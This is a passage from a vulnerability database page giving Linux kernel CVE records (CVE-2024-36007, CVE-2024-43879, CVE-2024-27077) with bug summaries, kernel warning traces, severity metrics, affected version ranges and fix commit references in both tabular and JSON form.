    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2024-23307",
    "datePublished": "2024-01-25T06:59:37.190Z",
    "dateReserved": "2024-01-15T09:44:45.516Z",
    "dateUpdated": "2026-05-12T11:49:10.647Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36007 (GCVE-0-2024-36007)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:48 – Updated: 2026-05-12 11:53

Title

mlxsw: spectrum_acl_tcam: Fix warning during rehash

Summary

In the Linux kernel, the following vulnerability has been resolved: mlxsw: spectrum_acl_tcam: Fix warning during rehash As previously explained, the rehash delayed work migrates filters from one region to another. This is done by iterating over all chunks (all the filters with the same priority) in the region and in each chunk iterating over all the filters. When the work runs out of credits it stores the current chunk and entry as markers in the per-work context so that it would know where to resume the migration from the next time the work is scheduled. Upon error, the chunk marker is reset to NULL, but without resetting the entry markers despite being relative to it. This can result in migration being resumed from an entry that does not belong to the chunk being migrated. In turn, this will eventually lead to a chunk being iterated over as if it is an entry. Because of how the two structures happen to be defined, this does not lead to KASAN splats, but to warnings such as [1]. Fix by creating a helper that resets all the markers and call it from all the places the currently only reset the chunk marker. For good measures also call it when starting a completely new rehash. Add a warning to avoid future cases. [1] WARNING: CPU: 7 PID: 1076 at drivers/net/ethernet/mellanox/mlxsw/core_acl_flex_keys.c:407 mlxsw_afk_encode+0x242/0x2f0 Modules linked in: CPU: 7 PID: 1076 Comm: kworker/7:24 Tainted: G W 6.9.0-rc3-custom-00880-g29e61d91b77b #29 Hardware name: Mellanox Technologies Ltd. MSN3700/VMOD0005, BIOS 5.11 01/06/2019 Workqueue: mlxsw_core mlxsw_sp_acl_tcam_vregion_rehash_work RIP: 0010:mlxsw_afk_encode+0x242/0x2f0 [...] Call Trace: <TASK> mlxsw_sp_acl_atcam_entry_add+0xd9/0x3c0 mlxsw_sp_acl_tcam_entry_create+0x5e/0xa0 mlxsw_sp_acl_tcam_vchunk_migrate_all+0x109/0x290 mlxsw_sp_acl_tcam_vregion_rehash_work+0x6c/0x470 process_one_work+0x151/0x370 worker_thread+0x2cb/0x3e0 kthread+0xd0/0x100 ret_from_fork+0x34/0x50 </TASK>

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/0b88631855026b55c…
https://git.kernel.org/stable/c/1d76bd2a0034d0d08…
https://git.kernel.org/stable/c/039992b6d2df097c6…
https://git.kernel.org/stable/c/751d352858108314e…
https://git.kernel.org/stable/c/e890456051fe8c579…
https://git.kernel.org/stable/c/17e9e0bbae652b9b2…
https://git.kernel.org/stable/c/743edc8547a92b619…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 0b88631855026b55cad901ac28d081e0f358e596 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 1d76bd2a0034d0d08045c1c6adf2235d88982952 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 039992b6d2df097c65f480dcf269de3d2656f573 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 751d352858108314efd33dddd5a9a2b6bf7d6916 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < e890456051fe8c57944b911defb3e6de91315861 (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 17e9e0bbae652b9b2049e51699e93dfa60b2988d (git) Affected: 6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf , < 743edc8547a92b6192aa1f1b6bb78233fa21dc9b (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.158 , ≤ 5.15.* (semver) Unaffected: 6.1.90 , ≤ 6.1.* (semver) Unaffected: 6.6.30 , ≤ 6.6.* (semver) Unaffected: 6.8.9 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-36007",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-31T18:47:44.179419Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-06T15:10:37.319Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:30:11.636Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0b88631855026b55cad901ac28d081e0f358e596"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1d76bd2a0034d0d08045c1c6adf2235d88982952"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/039992b6d2df097c65f480dcf269de3d2656f573"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/751d352858108314efd33dddd5a9a2b6bf7d6916"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e890456051fe8c57944b911defb3e6de91315861"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/17e9e0bbae652b9b2049e51699e93dfa60b2988d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/743edc8547a92b6192aa1f1b6bb78233fa21dc9b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:37.257Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlxsw/spectrum_acl_tcam.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0b88631855026b55cad901ac28d081e0f358e596",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "1d76bd2a0034d0d08045c1c6adf2235d88982952",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "039992b6d2df097c65f480dcf269de3d2656f573",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "751d352858108314efd33dddd5a9a2b6bf7d6916",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "e890456051fe8c57944b911defb3e6de91315861",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "17e9e0bbae652b9b2049e51699e93dfa60b2988d",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            },
            {
              "lessThan": "743edc8547a92b6192aa1f1b6bb78233fa21dc9b",
              "status": "affected",
              "version": "6f9579d4e3021b17b0a4cde6b04a6c94c9575cdf",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlxsw/spectrum_acl_tcam.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmlxsw: spectrum_acl_tcam: Fix warning during rehash\n\nAs previously explained, the rehash delayed work migrates filters from\none region to another. This is done by iterating over all chunks (all\nthe filters with the same priority) in the region and in each chunk\niterating over all the filters.\n\nWhen the work runs out of credits it stores the current chunk and entry\nas markers in the per-work context so that it would know where to resume\nthe migration from the next time the work is scheduled.\n\nUpon error, the chunk marker is reset to NULL, but without resetting the\nentry markers despite being relative to it. This can result in migration\nbeing resumed from an entry that does not belong to the chunk being\nmigrated. In turn, this will eventually lead to a chunk being iterated\nover as if it is an entry. Because of how the two structures happen to\nbe defined, this does not lead to KASAN splats, but to warnings such as\n[1].\n\nFix by creating a helper that resets all the markers and call it from\nall the places the currently only reset the chunk marker. For good\nmeasures also call it when starting a completely new rehash. Add a\nwarning to avoid future cases.\n\n[1]\nWARNING: CPU: 7 PID: 1076 at drivers/net/ethernet/mellanox/mlxsw/core_acl_flex_keys.c:407 mlxsw_afk_encode+0x242/0x2f0\nModules linked in:\nCPU: 7 PID: 1076 Comm: kworker/7:24 Tainted: G        W          6.9.0-rc3-custom-00880-g29e61d91b77b #29\nHardware name: Mellanox Technologies Ltd. MSN3700/VMOD0005, BIOS 5.11 01/06/2019\nWorkqueue: mlxsw_core mlxsw_sp_acl_tcam_vregion_rehash_work\nRIP: 0010:mlxsw_afk_encode+0x242/0x2f0\n[...]\nCall Trace:\n \u003cTASK\u003e\n mlxsw_sp_acl_atcam_entry_add+0xd9/0x3c0\n mlxsw_sp_acl_tcam_entry_create+0x5e/0xa0\n mlxsw_sp_acl_tcam_vchunk_migrate_all+0x109/0x290\n mlxsw_sp_acl_tcam_vregion_rehash_work+0x6c/0x470\n process_one_work+0x151/0x370\n worker_thread+0x2cb/0x3e0\n kthread+0xd0/0x100\n ret_from_fork+0x34/0x50\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:30.749Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0b88631855026b55cad901ac28d081e0f358e596"
        },
        {
          "url": "https://git.kernel.org/stable/c/1d76bd2a0034d0d08045c1c6adf2235d88982952"
        },
        {
          "url": "https://git.kernel.org/stable/c/039992b6d2df097c65f480dcf269de3d2656f573"
        },
        {
          "url": "https://git.kernel.org/stable/c/751d352858108314efd33dddd5a9a2b6bf7d6916"
        },
        {
          "url": "https://git.kernel.org/stable/c/e890456051fe8c57944b911defb3e6de91315861"
        },
        {
          "url": "https://git.kernel.org/stable/c/17e9e0bbae652b9b2049e51699e93dfa60b2988d"
        },
        {
          "url": "https://git.kernel.org/stable/c/743edc8547a92b6192aa1f1b6bb78233fa21dc9b"
        }
      ],
      "title": "mlxsw: spectrum_acl_tcam: Fix warning during rehash",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36007",
    "datePublished": "2024-05-20T09:48:06.947Z",
    "dateReserved": "2024-05-17T13:50:33.151Z",
    "dateUpdated": "2026-05-12T11:53:37.257Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43879 (GCVE-0-2024-43879)

Vulnerability from cvelistv5 – Published: 2024-08-21 00:06 – Updated: 2026-05-12 11:57

Title

wifi: cfg80211: handle 2x996 RU allocation in cfg80211_calculate_bitrate_he()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: handle 2x996 RU allocation in cfg80211_calculate_bitrate_he() Currently NL80211_RATE_INFO_HE_RU_ALLOC_2x996 is not handled in cfg80211_calculate_bitrate_he(), leading to below warning: kernel: invalid HE MCS: bw:6, ru:6 kernel: WARNING: CPU: 0 PID: 2312 at net/wireless/util.c:1501 cfg80211_calculate_bitrate_he+0x22b/0x270 [cfg80211] Fix it by handling 2x996 RU allocation in the same way as 160 MHz bandwidth.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/45d20a1c54be4f317…
https://git.kernel.org/stable/c/b289ebb0516526cb4…
https://git.kernel.org/stable/c/2e201b3d162c6c494…
https://git.kernel.org/stable/c/576c64622649f3ec0…
https://git.kernel.org/stable/c/16ad67e73309db0c2…
https://git.kernel.org/stable/c/67b5f1054197e4f55…
https://git.kernel.org/stable/c/19eaf4f2f5a981f55…
https://git.kernel.org/stable/c/bcbd771cd5d68c0c5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < 45d20a1c54be4f3173862c7b950d4468447814c9 (git) Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < b289ebb0516526cb4abae081b7ec29fd4fa1209d (git) Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < 2e201b3d162c6c49417c438ffb30b58c9f85769f (git) Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < 576c64622649f3ec07e97bac8fec8b8a2ef4d086 (git) Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < 16ad67e73309db0c20cc2a651992bd01c05e6b27 (git) Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < 67b5f1054197e4f5553047759c15c1d67d4c8142 (git) Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < 19eaf4f2f5a981f55a265242ada2bf92b0c742dd (git) Affected: c4cbaf7973a794839af080f13748335976cf3f3f , < bcbd771cd5d68c0c52567556097d75f9fc4e7cd6 (git)
Linux	Linux	Affected: 4.19 Unaffected: 0 , < 4.19 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43879",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:05:54.386411Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:17.515Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:06:30.644Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:07.804Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/wireless/util.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "45d20a1c54be4f3173862c7b950d4468447814c9",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            },
            {
              "lessThan": "b289ebb0516526cb4abae081b7ec29fd4fa1209d",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            },
            {
              "lessThan": "2e201b3d162c6c49417c438ffb30b58c9f85769f",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            },
            {
              "lessThan": "576c64622649f3ec07e97bac8fec8b8a2ef4d086",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            },
            {
              "lessThan": "16ad67e73309db0c20cc2a651992bd01c05e6b27",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            },
            {
              "lessThan": "67b5f1054197e4f5553047759c15c1d67d4c8142",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            },
            {
              "lessThan": "19eaf4f2f5a981f55a265242ada2bf92b0c742dd",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            },
            {
              "lessThan": "bcbd771cd5d68c0c52567556097d75f9fc4e7cd6",
              "status": "affected",
              "version": "c4cbaf7973a794839af080f13748335976cf3f3f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/wireless/util.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.19"
            },
            {
              "lessThan": "4.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: cfg80211: handle 2x996 RU allocation in cfg80211_calculate_bitrate_he()\n\nCurrently NL80211_RATE_INFO_HE_RU_ALLOC_2x996 is not handled in\ncfg80211_calculate_bitrate_he(), leading to below warning:\n\nkernel: invalid HE MCS: bw:6, ru:6\nkernel: WARNING: CPU: 0 PID: 2312 at net/wireless/util.c:1501 cfg80211_calculate_bitrate_he+0x22b/0x270 [cfg80211]\n\nFix it by handling 2x996 RU allocation in the same way as 160 MHz bandwidth."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:35.682Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/45d20a1c54be4f3173862c7b950d4468447814c9"
        },
        {
          "url": "https://git.kernel.org/stable/c/b289ebb0516526cb4abae081b7ec29fd4fa1209d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e201b3d162c6c49417c438ffb30b58c9f85769f"
        },
        {
          "url": "https://git.kernel.org/stable/c/576c64622649f3ec07e97bac8fec8b8a2ef4d086"
        },
        {
          "url": "https://git.kernel.org/stable/c/16ad67e73309db0c20cc2a651992bd01c05e6b27"
        },
        {
          "url": "https://git.kernel.org/stable/c/67b5f1054197e4f5553047759c15c1d67d4c8142"
        },
        {
          "url": "https://git.kernel.org/stable/c/19eaf4f2f5a981f55a265242ada2bf92b0c742dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/bcbd771cd5d68c0c52567556097d75f9fc4e7cd6"
        }
      ],
      "title": "wifi: cfg80211: handle 2x996 RU allocation in cfg80211_calculate_bitrate_he()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43879",
    "datePublished": "2024-08-21T00:06:31.488Z",
    "dateReserved": "2024-08-17T09:11:59.286Z",
    "dateUpdated": "2026-05-12T11:57:07.804Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27077 (GCVE-0-2024-27077)

Vulnerability from cvelistv5 – Published: 2024-05-01 13:04 – Updated: 2026-05-12 11:51

Title

media: v4l2-mem2mem: fix a memleak in v4l2_m2m_register_entity

Summary

In the Linux kernel, the following vulnerability has been resolved: media: v4l2-mem2mem: fix a memleak in v4l2_m2m_register_entity The entity->name (i.e. name) is allocated in v4l2_m2m_register_entity but isn't freed in its following error-handling paths. This patch adds such deallocation to prevent memleak of entity->name.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/3dd8abb0ed0e0a7c6…
https://git.kernel.org/stable/c/0175f2d34c85744f9…
https://git.kernel.org/stable/c/afd2a82fe300032f6…
https://git.kernel.org/stable/c/dc866b69cc51af9b8…
https://git.kernel.org/stable/c/0c9550b032de48d6a…
https://git.kernel.org/stable/c/90029b9c979b60de5…
https://git.kernel.org/stable/c/5dc319cc3c4f7b74f…
https://git.kernel.org/stable/c/9c23ef30e840fedc6…
